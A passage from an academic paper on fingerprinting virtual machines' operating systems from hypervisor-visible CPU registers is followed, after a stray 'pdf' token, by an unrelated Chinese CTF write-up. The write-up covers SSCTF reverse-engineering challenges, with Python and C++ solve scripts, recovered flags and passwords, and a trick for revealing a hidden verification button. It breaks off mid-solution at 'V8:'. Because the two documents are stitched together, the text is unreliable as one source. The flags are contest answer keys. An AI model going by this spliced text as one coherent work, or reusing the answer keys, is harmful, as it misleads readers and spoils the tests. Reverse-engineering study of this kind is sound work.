of mali- cious data placed into stack or heap by an attacker). Each of these features must be enabled by writing to the MSR EFER with an instruction named WRMSR. Therefore we can read the value of MSR-EFER to know if the OS sup- ports these features or not. Note that while 64-bit, fast-syscall and NX features have been introduced for quite a long time, for a lot of reasons, many OS-es have not supported them yet, or just picked them up in recent versions. 3.2 OS Parameters From the external point of view, an OS uses several facil- ities, making a set of OS parameters, defined as follow- ings. • Segment parameters: each of six segment regis- ters CS, DS, ES, FS, GS and SS is considered an OS parameter. These segment parameters have fol- lowing three attributes: segment selector, segment base and segment limit, represented the selector, the base and the limit of the segment, respectively. Because at a moment, the machine is operating at one of four ring levels of privilege, we need to clar- ify the privilege of each segment parameter. We as- sociate them with the ring level they are function- ing in. For four ring levels, potentially with each segment register we can have up to four possible segment parameters. For example, with code seg- ment CS, we have CS0, CS1, CS2, CS3 parameters, respectively for ring 0, ring 1, ring 2, and ring 3. Similarly, we have four set of segment parameters for each of remaining segment registers DS, ES, FS, GS and SS. • TR parameter. The task register TR refers to a segment, so similarly to segment registers above, it consists of segment selector, and segment limit attributes, represented the selector and limit of the TSS segment, respectively. Note that unlike segment registers, we do not con- sider the segment base as an attribute of TR, be- cause the TSS can locate anywhere in the memory, thus its base does not represent the OS character. Our experiments with various OS-es confirm this fact. • GDT parameter: The GDT can be located by the its base and limit. However, similar to TR above, we ignore the GDT base, and simplify this parameter by having the limit as its only attribute. • IDT parameter: Similarly to GDT, the IDT param- eter has IDT limit as its only attribute. 3 • Feature parameters: we consider each of the fol- lowing OS features a feature parameter: 64-bit (re- flecting that the OS is 64-bit1), fast-syscall (reflect- ing that the OS uses fast-syscall facility), and NX (reflecting that the OS uses non-executable facility). When present, these parameters reflect that the cor- responding facilities are supported by the OS. All these OS parameters of each guest VM can be re- trieved from the VM’s context, thanks to the interface provided by the hypervisor, usually come in the shape of some APIs. These APIs can be executed from the host VM. 3.3 UFO Fingerprinting Method We observe that to some extent, the protected mode of In- tel platform enforces no constraint on how the OS is im- plemented, so the developers can freely design their OS to their desire. Our UFO method relies on the fact that most, if not all, modern OS-es spend very little time in real-mode after booting up, then they all quickly switch to protected mode, and mostly stay in this mode until shutdown. After entering the protected mode, each OS has different way to setup its low level facilities, such as GDT and IDT table, how it uses its registers, and whether or not it supports modern features like 64-bit, fast-syscall, and NX. Indeed, we can see that the limits of GDT and IDT tables, the value of segment registers and special registers, like TR, are significantly different between OS variants, and sometimes even between ver- sions of the same OS. On the other words, each OS has different OS parameters, defined above. Below are several cases on how some OS-es setup their OS parameters: • Windows OS uses a GDT with the limit of 0x3FF, while Linux 2.6 kernel has a GDT’s limit of 0xFF. Minix setups its IDT’s limit of 0x3BF, but Plan9’s IDT has the limit of 0x7FF. • Sun Solaris uses selectors 0x158 and 0x16B for its ring 0 and ring 3 code segments, respectively. Meanwhile, Haiku uses selectors 0x8 and 0x1B for its ring 0 and ring 3 code segments. • The 32-bit version of OpenBSD does not use the full address range for data segment like other OS- es, but dedicates the last part of 4GB address space for trapping security exploitation in W-xor-X tech- nique. Therefore, its data segment of ring 3, rep- resented by DS3 parameter, has the limit of 0xCF- BFDFFF, rather than usual 0xFFFFFFFF. 1Without this feature, the OS is in 32-bit mode • Neither NetBSD nor FreeBSD uses fast-syscall fea- ture. Meanwhile Linux started to use that from 2.6 kernel version, and Windows only started to take advantage of this feature from Windows XP. • Windows only started to use NX feature from XP- SP2. All the prior versions did not take advantage of this modern facility. The list of examples can go on, and it shows that the OS parameters can represent an OS. Based on these de- viation of the OS parameters, we can recognize the OS variants, and even exact OS versions in various cases. Because the OS parameters can identify the OS, we con- sider the set of all parameters of an OS its OS signature, or signature in short. To perform fingerprinting, we have to prepare signa- tures for all the OS-es we want to identify. We generate a signature for each OS, and put them into a database of signatures, called signature database. Then at run-time, we retrieve the OS parameters from the target VM, using hypervisor API discussed above, and match them against each signature in the signature database, as followings: we match each VM parameter against a corresponding parameter in the signature. One OS parameter matches the corresponding signature parameter if all of their at- tributes match each other. A special case must be handled regarding the segment parameters: for each segment parameter, the correspond- ing signature parameter is the segment parameter of the ring level that the VM segment parameter is functioning in. For example, with code segment parameter CS, if the VM is operating in ring 0 at the time the OS parameters are retrieved, we have to match it against the CS0 param- eter in the OS signature. To be matched, all attributes (ie. segment selector, segment base and segment limit) of the VM’s CS parameter must match with corresponding at- tributes of CS0 parameter in the signature. Regarding the feature parameters (64-bit, fast-syscall and NX) of the VM, a parameter is considered matched if it contains the list of features of the signature. Ideally, the fingerprinting process would return the ex- act OS as the result. However, in fact we might not al- ways find the definite answer, either due to missing sig- nature of the related OS, or the OS has some special customizations deviating its parameters from its signa- ture. To deal with this problem, we propose a fuzzy fin- gerprinting method: for each VM parameter matching the corresponding parameter in a signature, we give it 1 point. Otherwise, we give it 0 point. We conclude the matching process for each signature by summing up all the points, and consider that the score of this signature. We repeat the matching with all the signatures in the database, and the signatures having the 4 highest score will be reported as the potential OS of the VM. We can see that in case we have the exact signature of the VM, UFO will find that and report it as the 100% matched signature, thus identify the 100% correct OS, corresponding to that signature. More than one signature that has 100% match score is possible, and all will be reported. In case the OS signature is either unavailable, or the OS is customized to a particular extent, so that its signa- ture is not 100% matched any more, this fuzzy matching method can give a good guess on the OS by reporting the best matched OS-es with highest scores. The design of UFO solves the outstanding problems of current OSF methods, and satisfy all of our six require- ments proposed in section 2 above: (1) UFO can give a very accurate answer on the VM’s OS. Experiments shows that UFO always report the OS variant correctly. The OS is also identified with details on OS version. (2) We never rely on the content of OS code to recognize the OS, so our method is independent of the compiler us- ing to compile the OS. (3) Normal OS tweaking does not change how OS uses its OS parameters, and in general, OS has no option to affect their values, either. (4) Typ- ically OS has no option to change the way it setups the low level facilities such as OS parameters. Consequently, while it is not impossible to modify these parameters, it is not trivial to fool UFO. Indeed, all the available anti-OSF solution do not work against UFO. (5) Because it takes a very little time to retrieve OS parameters from the VM and match them against the signature database, UFO is extremely fast. Moreover, we never create any network traffic like in network-based OSF approach, thus avoid- ing the possible problem of wasting the network band- width. (6) The way we generate the signatures and use them to perform matching does not depend on the hy- pervisors. Consequently, the same method and signature database can be used for all kind of hypervisors, as long as they provide the interface to retrieve the OS parame- ters of the guest VM at run-time. 3.4 Generate OS signatures An OS signature must include all the values of its param- eters. A naive approach to gather all the possible param- eters is to have a tool running in host VM, and this tool periodically queries the targeted VM for its OS param- eters. However, this solution has a major flaw: it is not guaranteed that such an external tool can collect all the possible values of all OS parameters, especially because some parameter values only appear at a particular mo- ment, in a particular condition, and in a very short time. Even we can reduce the time interval of taking snapshot at the guest VM, we can never be sure that no event is missed. To solve the above problem, we developed a method to guarantee that we do not miss any OS parameters, as long as it happens during the profiling time: We run the target OS in a special system emulator, which is instru- mented at the right places to inform us when the OS starts to perform an activity that can generate a new value of a particular OS parameter. Our emulator then captures the new value, and records it for later processing. This pro- filing process is done from when the OS boots up, enters and processes in normal operating stage, until it is shut- down later. After the OS is shutdown, the instrumented emulator processes all the collected OS parameters, then automat- ically generates the signature for the OS. This profiling process is repeated for all the OS variants and OS ver- sions that we want UFO to be able to recognize, and all the generated signatures are put into the signature database. This ”dummy” method of profiling OS to create its signature offers a major advantage: it does not depend on prior knowledge on particular OS, and it should work blindly against all kind of OS-es, while requiring no un- derstanding about the OS internals. Because the OS behaves in the same way under different hypervisors, our signatures are hypervisor- independent, and can be reused by all the hypervisors. 4 Implementation To generate the OS signatures, we have a tool to named UFO-profiler. We implemented UFO-profiler based on the QEMU emulator, version 0.11.1 [3]. QEMU is suit- able because it supports all the facilities and features such as 64-bit, fast-syscall and NX, like other hypervi- sors. UFO-profiler instruments QEMU to record every time the related OS parameters change their values. The OS is run in UFO-profiler, and the profiling process starts when the VM switches to protected mode, and ends when the VM shutdowns. During the profiling, we run several usual applications in the VM to simulate the production systems, so we can trigger as much execution paths of the OS as possible. The output data is then processed to produce the ready-to-use signature. On Intel platform, a lot of instructions and system events can change the OS parameters, either by directly modifying the OS parameters, or indirectly influencing their values. Specifically, the following Intel instructions are instrumented by UFO-profiler: mov, int, sysenter, sy- sexit, syscall, sysret, jmp far, call far, lds, les, lfs, lgs, lgdt, lidt, ltr, wrmsr, loadall, and iret. Besides the above instructions, UFO-profiler must also instrument to monitor some low level activities that modifies OS parameters. The interested events are task 5 switching and interrupt handling: the task switching in- volves a lot of operations that affect OS parameters, such as loading the new selector into TR register, switch to new segments in another privilege levels. Meanwhile, the interrupt handling process leads to new values are loaded into segment registers such as CS and SS. QEMU dynamically translates all the instructions and events, so UFO-profiler simply instruments at the right places, when above instructions and events happen. At that time, the new value of related OS parameters is record, with all of its attributes. With all the saved pa- rameters, we also record the time of the event, so we know the relative time of every events since when we start profiling the OS. After the OS in the emulator is shutdown, the signa- ture can be generated. It contains all the values of OS parameters we saved, with repeated values eliminated. The signature includes all the captured values of OS pa- rameters, except the segment parameters: unlike other parameters, segment parameters might have a lot of val- ues, which results in a big signature. The reason is that some segments might switch to different segment base, or set different limits for different purposes. We reduce the size of the segment parameters by combining them, if the segment base or limit attributes of all the param- eters share the same postfix. In that case, the postfix is used to represent the attribute. For example, a base of 0x3F0BC0 and a base of 0X412BC0 share the postfix of 0XBC0. Combining segment attributes has another ben- efit: the postifx can also match the segment attributes we do not encounter at profiling time. When profiling various OS-es to generate their signa- tures, we observed that every OS must go through mul- tiple steps of setup, until it reaches the stable stage. We simply define the ”stable stage” the time when OS is al- ready in normal operation mode, and from there it does not change the setup of OS parameters such as GDT, IDT and MSR-EFER anymore, or only change them for its internal function, in special cases. Before reaching stable stage, the OS is in unstable stage, in which they may temporarily change the above parameters multiple times. Typically, one OS takes very little time (5 sec- onds in most cases, or no more than 20 seconds in all of our experiments) to reach the stable stage. More im- portantly, most of the time we fingerprint the OS, it is already in stable stage. Therefore, including the OS pa- rameters collected at the unstable stage in the signature would create a lot of negative noises. This might make our fingerprinting result less accurate, because UFO can make mistake by using unstable parameters of other OS when considering all the matching results. For this reason, we separate the signature into two parts: one includes only parameters of stable stage, and the other includes the parameters of unstable stage. When matching the OS parameters against the signature, we report both results of matching stable and unstable parameters. The users can decide what is the good re- sult, because they might know which stage the OS is in at that time. (For example, all the virtual machine man- agement tools let administrator know how long their VM already run). We distinguish the parameters of stable and unstable stage thanks to the time recorded with all the parameters, as presented above. We simply define that parameters recorded after 60 seconds from when we start profiling the OS are stable, and all the parameters happened be- fore that are of unstable stage. The time of 60 seconds is chosen based on our experiments, which makes sure that all the OS-es when profiling are already in stable mode at that time. This number does not really matter, as long as no stable parameters are missed during profiling. The signature is presented in a JSON-like format [2], so it is human-friendly, easy to understand and modify. The database includes all the signatures in text format. Figure 1 in the appendix shows a signature of the 32-bit Linux kernel, version 2.6.31.x. To prove that UFO is independent of hypervisors, we implemented it for two hypervisors: Xen and Hyper-V. The only difference between these two implementations is the way to retrieve the OS parameters from guest VM. Both Xen and Hyper-V provide interface to retrieve the OS parameters ([11], [13]). UFO runs inside the host VM, and retrieves the OS parameters from the targeted VM via an appropriate hypervisor interface. It matches these parameters against signatures using the matching algorithm proposed in the section 3.3 above. A special case is the feature parameters: UFO extracts the features from the MSR-EFER register of the VM. 5 Evaluation Evaluation against various OS-es available shows that UFO is extremely fast: it takes around only 20 millisec- onds to fingerprint the VM, regardless of OS. The time spent includes the time to retrieve the OS parameter val- ues from the VM, parsing the signature database, loading them into the memory to prepare for matching step, and match the OS parameters against all the signatures avail- able in the memory. So far, the signature database of contains 23 OS vari- ants, ranging from popular OS such as Windows, Linux, *BSD, Solaris, Plan9, Haiku,... to hobby and research OS-es such as Syllabale, Aros, Minix, ReactOS, Plan9, etc... A lot of versions of these OS-es are supported, too. Totally, UFO succesfully recognizes around 50 OS ver- sions. In our experiments, UFO identifies the OS variant with 100% accuracy. If it cannot give out the exact OS ver- 6 sion, UFO can report a range of versions for the answer. For example, because Linux kernels from version 2.6.22 to 2.6.29 are similar in their signatures, this range of ver- sions will be reported. In the case UFO cannot identify the OS due to the missing signature, it can still give out the best match OS- es, which has the highest score. In all of our experiments, the answer is always the closest OS versions. For ex- ample, UFO reports Windows Vista as an OS that best matches with Windows XP-SP3. This is because Vista matches 11 out of 12 parameters of Windows XP-SP3 signature, thus it is 91.66% similar to Windows XP-SP3. 6 Discussion This paper handles the security threat as in cloud enviro- ment: we assume that the hypervisor is secure, and can- not be breached from inside the guest VM. Meanwhile, the attacker might completely controls the guest, and can employ some tricks to defeat UFO to make the finger- printing result incorrect. For example, even if the OS does not support NX feature, he can dynamically manip- ulate the kernel to enable the flag in MSR EFER to fool UFO. Ultimately, for the OS with source code available, he can modify the code, recompiles then replace the ker- nel to completely change all the OS parameters. For the small modifications to the OS, UFO can still give a hint about the OS thanks to its fuzzy detection, which is close in many cases. However, it can be com- pletely fooled on large scale modification. Unfortu- nately, this problem is hard to fix due to the constraint that we can only rely on the limited information collected from outside, with available interface. The other problem is that UFO is not always able to give out the exact version of the OS: this happens be- cause many OS versions do not change their parameters, like in the Linux case above. We can fix this problem by combining it with memory introspection method. In principle, we can use UFO in preliminary phase to recog- nize the OS variant, then confirm the exact version with memory introspection. The later phase requires knowl- edge about the OS internals, obviously. 7 Conclusions UFO is a novel method of fingerprinting OS running in- side VM. Being designed specifically for VM environ- ment, UFO can quickly identify the OS variants and OS versions with excellent accuracy. The approach is hypervisor-independent, and the OS signatures of UFO can be reused for all kind of hypervisors. References [1] Ext2 installable file system for windows. http: //www.fs-driver.org. [2] JSON scheme format. http://www.json. org. [3] F. Bellard. Qemu, a fast and portable dynamic translator. In Proc. USENIX Annual Technical Con- ference, FREENIX Track, 2005. [4] M. Christodorescu, R. Sailer, D. L. Schales, D. Sgandurra, and D. Zamboni. Cloud security is not (just) virtualization security. In ACM workshop on cloud computing security (CCSW), 2009. [5] Fyodor. nmap - free security scanner for network exploration and security audits. http://nmap. org. [6] T. Garfinkel and M. Rosenblum. A virtual machine introspection based architecture for intrusion detec- tion. In Proc. Network and Distributed Systems Se- curity Symposium, February 2003. [7] R. W. Jones. Explore the windows reg- istry with libguestfs. http://rwmj. wordpress.com/2009/06/08/ explore-the-windows-registry-with-libguestfs. [8] R. W. Jones. virt-inspector. http: //libguestfs.org/virt-inspector. 1.html. [9] Microsoft Corp. Windows server 2008 r2: Virtualization with hyper-v. http://www. microsoft.com/windowsserver2008/ en/us/hyperv-main.aspx. [10] Microsoft Support. Virus alert about win32/conficker worm. http://support. microsoft.com/kb/962007. [11] MSDN. Windows driver kit: Hyper- visor hypervisor c-language functions. http://msdn.microsoft.com/en-us/ library/bb969818.aspx. [12] G. Prigent, F. Vichot, , and F. Harrouet. Ipmorph : Fingerprinting spoofing unification. In Proc. SSTIC, June 2009. [13] Xen project. Xen interface. http://www.xen. org/files/xen_interface.pdf. [14] Xen project. Xen virtual machine monitor. http: //www.xen.org. 7 [15] F. Yarochkin, O. Arkin, M. Kydyraliev, S.-Y. Dai, Y. Huang, and S.-Y. Kuo. Xprobe2++: Low vol- ume remote network information gathering tool. In Proc. International Conference on Dependable Systems and Networks, July 2009. 8 Appendix An OS signature is put inside a pair of opening and closing parentheses. The numbers are in hexadecimal mode, and each line denotes an OS parameter. All the text on the same line, after the sharp mark (#) is comment, and will be ignored. Each parameter might have multiple values, all is put inside a pair of square brackets. For those parameters having more than one attribute (like segment parameters, or TR), all the attributes of a value are also put inside another pair of square brackets. The attributes of segment parameters are in the order of selector, base and limit. The attributes of TR parameters are in the order of selector and limit. The postfix of segment attributes is represented with a ’*’ letter: in below example, segment GS in ring 3 (gs3 parameter) has the base of modulo 16, represented by the postfix *0. { # Begin a signature with ’{’ name: Linux, # OS name version: 2.6.31.x, # OS version stable: { # Begin of stable parameters idt: [7ff], gdt: [ff], tr: [[80, 206b]], cs0: [[60, 0, ffffffff]], cs3: [[73, 0, ffffffff]], ds0: [[0, 0, ffffffff]], ds3: [[7b, 0, ffffffff]], es0: [[0, 0, ffffffff]], es3: [[7b, 0, ffffffff]], fs0: [[d8, *, ffffffff], [0, 0, 0]], gs3: [[33, *0, ffffffff]], ss0: [[68, 0, ffffffff]], ss3: [[7b, 0, ffffffff]], features: [nx, fast-syscall] }, # End of stable parameters unstable: { # Begin of unstable parameters idt: [0, 3ff], gdt: [30, 27, 1f], cs0: [[10, 0, ffffffff]], ss0: [[18, 0, ffffffff], [0, 0, ffffffff]] } # End of unstable parameters } # End a signature with ’}’ Figure 1: The signature of 32-bit Linux kernel, version 2.6.31.x 9
pdf
SSCTF Writeup by Nu1L (本报告包含了 SSCTF 所有的题目,包括比赛时为做出来的题目) 逆向部分(Reverse) Re100 这题很简单,首先判断用户名是否等于 secl-007 然后调用动态链接库中的 getpl 函数验证 password,由于在函数中没有对 password 做处理, 因此可以忽略中间的 DES 加密,输入 39 个字符或者修改寄存器的值,在最后判断的时候下 断,动态调试下就能得到 flag flag 为 oty3eaP$g986iwhw32j%OJ)g0o7J.CG: Re200 拿到程序打开运行,输入任意字符串后,发现一段 Bad Apple 的 MV... 动画结束后有验 证过程。 首先查壳,发现是加过 UPX 壳的。upx -d 脱掉之后开始分析程序: 发现在 402800 处是播放动画的代码,但其中有几条关键的 ResumeThread,于是 nop 掉动画 部分代码: 接下来根据 ResumeThread 处的代码找到了创建线程的位置: 继续分析这些线程,发现了验证 Flag 的位置,根据线程运行顺序可以反向写出解密代码: 脚本: #!/usr/bin/env python2 # -*- coding:utf-8 -*- import hashlib import numpy as np def u8(x): return np.uint8(x) ''' hash[0] = -3; hash[2] = -3; hash[1] = -59; hash[3] = -25; hash[5] = -25; hash[4] = -59; hash[6] = -57; hash[8] = -57; hash[7] = -27; hash[10] = -27; hash[9] = -35; hash[11] = -35; hash[12] = 0; ''' md5res = 'FBC4A31E4E17D829CA2242B2F893481B'.lower() #print md5res d = [253,197,253,231,197,231,199,229,199,221,229,221] #d = [u8(c) for c in data] #print d for x in range(256): p = ''.join([chr(c^x) for c in d]) md5 = hashlib.new('md5') for c in p: if ord(c) == 0: break md5.update(c) if md5.hexdigest() == md5res: print x # key1 = 181 v0 = (181 - 1)^2 print v0 # v0 = 182 byte_404048 = [0x57,0x78,0x7d,0x3e,0x4a,0x4c,0x5c,0x35,0x2a,0x23,0x50,0x7f,0x57,0x7 8,0x55,0x64,0x4b,0x42,0x25,0x35,0x22,0x66,0x48] for x2 in range(256): xored = [c^x2 for c in byte_404048] sum = 0 for c in xored: if c == 0: break sum ^= c if sum == 182: print x2 print '-------' # 152 for x3 in range(256): if ((x3^0x5a)+(x3^0x42)) == 152: print x3 print '------' d3 = [0xF5, 0xD0, 0xDF, 0xDC, 0x99, 0xD8, 0xD5, 0xCE, 0xD8, 0xC0, 0xCA, 0x99, 0xD4, 0xD8, 0xD2, 0xDC, 0xCA, 0x99, 0xCC, 0xCA, 0x99, 0xDB, 0xD5, 0xD8, 0xDA, 0xD2, 0x99, 0xD8, 0xD7, 0xDD, 0x99, 0xDB, 0xD5, 0xCC, 0xDC, 0x95, 0xD8, 0xD7, 0xDD, 0x99, 0xCD, 0xD1, 0xD6, 0xCA, 0xDC, 0x99, 0xCE, 0xD1, 0xDC, 0xCB, 0xDC, 0x99, 0xCD, 0xD1, 0xDC, 0x99, 0xCE, 0xD6, 0xCC, 0xD7, 0xDD, 0x99, 0xD1, 0xD8, 0xDD, 0x99, 0xDB, 0xDC, 0xDC, 0xD7, 0x99, 0xCD, 0xD1, 0xDC, 0x99, 0xCA, 0xCD, 0xCB, 0xD6, 0xD7, 0xDE, 0xDC, 0xCA, 0xCD, 0x99, 0xCE, 0xD0, 0xD5, 0xD5, 0x99, 0xDB, 0xDC, 0xDA, 0xD6, 0xD4, 0xDC, 0x99, 0xD8, 0x99, 0xC9, 0xD5, 0xD8, 0xDA, 0xDC, 0x99, 0xCE, 0xD1, 0xDC, 0xCB, 0xDC, 0x99, 0xCE, 0xDC] valid = [] for x4 in range(256): d3_xored = [x4^c for c in d3] xor_sum = 0 for c in d3_xored: if c == 0: break xor_sum ^= c if (xor_sum^0x5a)+(xor_sum^0x42) == 152: valid.append(x4) v = [c^0xC6 for c in valid] n2 = [0x88, 0xEC, 0xFC, 0x9E, 0xB9, 0xFC, 0xB3, 0xAE, 0xFC, 0x92, 0xB3, 0xA8, 0xFC, 0x88, 0xB3, 0xFC, 0x9E, 0xB9, 0xF0, 0x88, 0xB4, 0xBD, 0xA8, 0xFC, 0xB5, 0xAF, 0xFC, 0x88, 0xB4, 0xB9, 0xFC, 0x8D, 0xA9, 0xB9, 0xAF, 0xA8, 0xB5, 0xB3, 0xB2] v13_valid = [] for v13 in range(256): n2_xored = [v13^c for c in n2] n2xor_sum = 0 for c in n2_xored: if c == 0: break n2xor_sum ^= c if n2xor_sum in v: v13_valid.append(v13) print v13_valid sums = [] for c in v13_valid: s3 = c ^ 0x6f s2 = c ^ 0x18 s1 = c ^ 0x77 s0 = c ^ 0x66 if ((s0 + s1 + s2 + s3) & 0xFF) == 0xDC: sums.append([s0,s1,s2,s3]) ff = [] l = [0x63, 0x36, 0x37, 0x38, 0x64, 0x36, 0x67, 0x36, 0x34, 0x33, 0x30, 0x37, 0x67, 0x66, 0x34, 0x67, 0x60, 0x62, 0x32, 0x36, 0x33, 0x34, 0x37, 0x33, 0x67, 0x65, 0x33, 0x35, 0x62, 0x35, 0x60, 0x39] for sum in sums: print sum f = [0]*32 for i in range(4): s = sum[i] for j in range(8): if s & 1: f[i*8+7-j] = 1 s >>= 1 print f k = [] for i in range(32): k.append(l[i]^f[i]) print ''.join([chr(c) for c in k]) ''' l = [0x63, 0x36, 0x37, 0x38, 0x64, 0x36, 0x67, 0x36, 0x34, 0x33, 0x30, 0x37, 0x67, 0x66, 0x34, 0x67, 0x60, 0x62, 0x32, 0x36, 0x33, 0x34, 0x37, 0x33, 0x67, 0x65, 0x33, 0x35, 0x62, 0x35, 0x60, 0x39] for i in range(32): l[i] ^= ff[i] flag = ''.join([chr(c) for c in l]) print flag flag = 'c678d6g65216fg5f`b263473fd24c4a8' sum0 = 0 sum1 = 0 sum2 = 0 sum3 = 0 for i in range(8): sum0 = sum0 * 2 + (ord(flag[i])^l[i]) sum1 = sum1 * 2 + (ord(flag[8+i])^l[8+i]) sum2 = sum2 * 2 + (ord(flag[16+i])^l[16+i]) sum3 = sum3 * 2 + (ord(flag[24+i])^l[24+i]) print sum0&0xff,sum1&0xff,sum2&0xff,sum3&0xff ''' 发现答案有多解,经过尝试发现 Flag 为:b669e6f65317ff5fac263573fe24b5a8 Re300 典型坑人题,真实的验证按钮是隐藏的。 首先拖入 IDA 分析,发现是 MFC 写程序。于是直接上 xspy 进行分析。 发现有两个 OnCommand 处理例程,而且 id 不相同。 由于习惯静态分析,于是直接上 PE Explorer 发现 id=03ec 这个按钮是存在的。 于是直接使用 ViewWizard 修改控件属性 捕获窗口,右键 定位到窗口列表,展开,右键捕获隐藏的按钮,点显示即可强制令其显示。 之后就显示了 当然,其实真正的罪魁祸首是在 0x004015D0 调用了0x41276E这个库函数,其中调用ShowWindow将真实按钮的显示状态改成了SW_HIDE 于是之后点击这个真正的验证按钮,就来到了 0x401FE0 这里 然后进入验证函数 0x401F80 在 GetBody 函数中,会首先判断输入的格式为 SSCTF{32 位},并将前后的 SSCTF{和}去掉,保 留中间的不封。 然后在 GetHash 部分中,会对输入进行变换 首先寻找’0’的所在位置, 接着按照这些已经计算出来的值进行变换,对大小写字母、数字分别处理 发现变换后的值和所在位置无关,仅和长度和’0’所在的位置有关,所以直接复制到 vs 中输 出对应的变换。 之后在 FinalVerify 中会进行判断和输出结果。不过出题人好狠,一个可见字符串都不给,还 用这么常见的加密手段,害的我这边数字公司一只都在拦截。。。 继续将 hexrays 的内容拷贝到 vs 中解密,得到分别是”Pls Try ag@in!”,” Y0u G0t 1t!” 和 “b5h760h64R867618bBwB48BrW92H4w5r” 通过上步生成的表进行查表,得到原始内容为 f5b760b64D867618fFeF48FdE92B4e5d 因此正确输入为 SSCTF{f5b760b64D867618fFeF48FdE92B4e5d} Flag 为 f5b760b64D867618fFeF48FdE92B4e5d 附上本题脚本: // re300.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include "windows.h" #include "atlstr.h" int _tmain(int argc, _TCHAR* argv[]) { char v6[12]; // [sp+8h] [bp-4Ch]@1 char Text[15]; // [sp+14h] [bp-40h]@1 char target[33]; // [sp+24h] [bp-30h]@1 target[4] = 7; target[7] = 7; target[11] = 7; target[13] = 7; target[2] = 89; target[17] = 115; target[19] = 115; target[22] = 115; target[6] = 89; target[23] = 67; target[31] = 67; target[0] = 83; target[1] = 4; target[3] = 6; target[5] = 1; target[8] = 5; target[9] = 99; target[10] = 9; target[12] = 6; target[14] = 0; target[15] = 9; target[16] = 83; target[18] = 70; target[20] = 5; target[21] = 9; target[24] = 102; target[25] = 8; target[26] = 3; target[27] = 121; target[28] = 5; target[29] = 70; target[30] = 4; target[32] = 0; v6[6] = 100; v6[9] = 100; Text[3] = 100; Text[7] = 100; v6[0] = 73; v6[1] = 32; v6[2] = 101; v6[3] = 48; v6[4] = 87; v6[5] = 32; v6[7] = 48; v6[8] = 33; v6[10] = 49; v6[11] = 0; Text[0] = 20; Text[1] = 40; Text[2] = 55; Text[4] = 16; Text[5] = 54; Text[6] = 61; Text[8] = 37; Text[9] = 35; Text[10] = 4; Text[11] = 45; Text[12] = 42; Text[13] = 101; Text[14] = 0; int v1 = 0; do { target[v1] ^= 0x31u; ++v1; } while (v1 < 32); int v2 = 0; if (strlen(v6) != 0) { do { v6[v2] ^= 0x10u; ++v2; } while (v2 < strlen(v6)); } int v3 = 0; if (strlen(Text) != 0) { do { Text[v3] ^= 0x44u; ++v3; } while (v3 < strlen(Text)); } char tihuan_low[27]; char tihuan_cap[27]; for (char i = 'a'; i<='z'; i++){ char ori_chr = i; BOOL target = 0; if (ori_chr > '9' || ori_chr < '0') { // 非数字 if (ori_chr > 'z' || ori_chr < 'a') { // 非小写 if (ori_chr <= 'Z' && ori_chr >= 'A') ori_chr -= 'A'; // 大写转字母表中顺序 } else { ori_chr -= 'a'; // 小写转字母表中顺序 target = 1; } int v9 = (28 + 5 * ori_chr) % 26 + ((28 + 5 * ori_chr) % 26 < 0 ? 26 : 0);// // 是字母 if (target) { // 是小写字母 if (target == 1) v9 = (char)(v9 + 'a'); } else { // 是大写字母 v9 = (char)(v9 + 'A'); } //printf("%c - %c\n", i, (char)v9); tihuan_low[i - 'a'] = (char)v9; tihuan_cap[i - 'a'] = toupper(v9); } } tihuan_low[26] = 0; tihuan_cap[26] = 0; //char tihuan_cap[] = "CHMRWBGLQVAFKPUZEJOTYDINSX"; //char tihuan_low[] = "chmrwbglqvafkpuzejotydinsx"; //char target[] = "b5h760h64R867618bBwB48BrW92H4w5r"; char *out = new char[strlen(target)+1]; out[strlen(target)] = 0; for (int i = 0; i < strlen(target); i++){ if (target[i] >= '0' && target[i] <= '9'){ out[i] = target[i]; } else if (target[i] >= 'a' && target[i] <= 'z'){ for (int j = 0; j < strlen(tihuan_low); j++){ if (tihuan_low[j] == target[i]){ out[i] = 'a' + j; } } } else if (target[i] >= 'A' && target[i] <= 'Z'){ for (int j = 0; j < strlen(tihuan_cap); j++){ if (tihuan_cap[j] == target[i]){ out[i] = 'A' + j; } } } } /*HCRYPTHASH phHash; HCRYPTPROV phProv; DWORD pdwDataLen; CString tempstr; UINT64 true_answ = 0; char target[] = { 0x48,0x50,0xB7,0x44,0x6B,0xBB,0x20,0xAA,0xD1,0x40,0xE7,0xB0,0xA9,0x64,0xA5,0x7D }; for (UINT64 seed = 2453148193;; seed += 4294967296){ BOOL bRight = TRUE; tempstr.Format("%I64d", seed); printf("%s\n", tempstr.GetBuffer()); if (CryptAcquireContextA(&phProv, 0, 0, 1u, CRYPT_VERIFYCONTEXT)) { if (CryptCreateHash(phProv, CALG_MD5, 0, 0, &phHash)) { if (CryptHashData(phHash, (BYTE *)tempstr.GetBuffer(), tempstr.GetLength(), 0)) { char pbData[64]; memset(pbData, 0, 64); pdwDataLen = 64; CryptGetHashParam(phHash, HP_HASHVAL, (BYTE *)pbData, &pdwDataLen, 0); for (int i = 0; i < 16; i++){ if (pbData[i] != target[i]){ bRight = FALSE; break; } //bRight = TRUE; } if (bRight){ true_answ = seed; break; } } } } }*/ system("pause"); return 0; } Re400 脱壳,去花后开始分析 第一层在 00401d25()函数里,如下图 图中 byte_41279c 是输入的字符串,然后经过 change_xor()函数变换后与固定一 组字符比较,即 V11,V11 两次异或 3 相当于没变。 第一步密码:[Xi`An4YeCaoAnQuanGongSi][HP] V11: a3=[0x7C,0xCD,0x01,0x97,0x06,0x6F,0x2C,0x29,0xFC,0x31,0x09,0xDC,0x1D,0xF5,0x8 F,0x7D,0xDE,0x30,0xB6,0x49,0xFD,0x0A,0xD9,0x89,0xFD,0x9F,0x4D,0x7D,0xA2] 由 V11 可知,密码长度为 29,于是随便输入 29 位数后,修改内存为 0x00,此时 a3 的值就位异或对象 a2 的值,如下图 整理出来 b2=[0x27,0x95,0x68,0xF7,0x47,0x01,0x18,0x70,0x99,0x72,0x68,0xB3,0x5C,0x9B,0xD E,0x08,0xBF,0x5E,0xF1,0x26,0x93,0x6D,0x8A,0xE0,0xA0,0xC4,0x05,0x2D,0xFF] 与 V11 对应位异或,写脚本得到最后的结果为: [Xi`An4YeCaoAnQuanGongSi][HP] 第二步: 从 sub_401473()里读入第二步密码,然后调用 sub_401119()来验证。 验证部分如下图,if 条件固定了密码的前两位”[/”和最后两位/]””。 Sub_401c7d 是对索引做浮点数运算,最后求和得到 V7,判断 57.1<v7<57.2 时走向正确流程, 由此可推出密码 2 的长度为 20。 然后将 V46 与密码长度异或后得到的值与 V8 比较。则通过 V8 与密码长度异或 就可以求出 V46 即第二步密码。 V8: 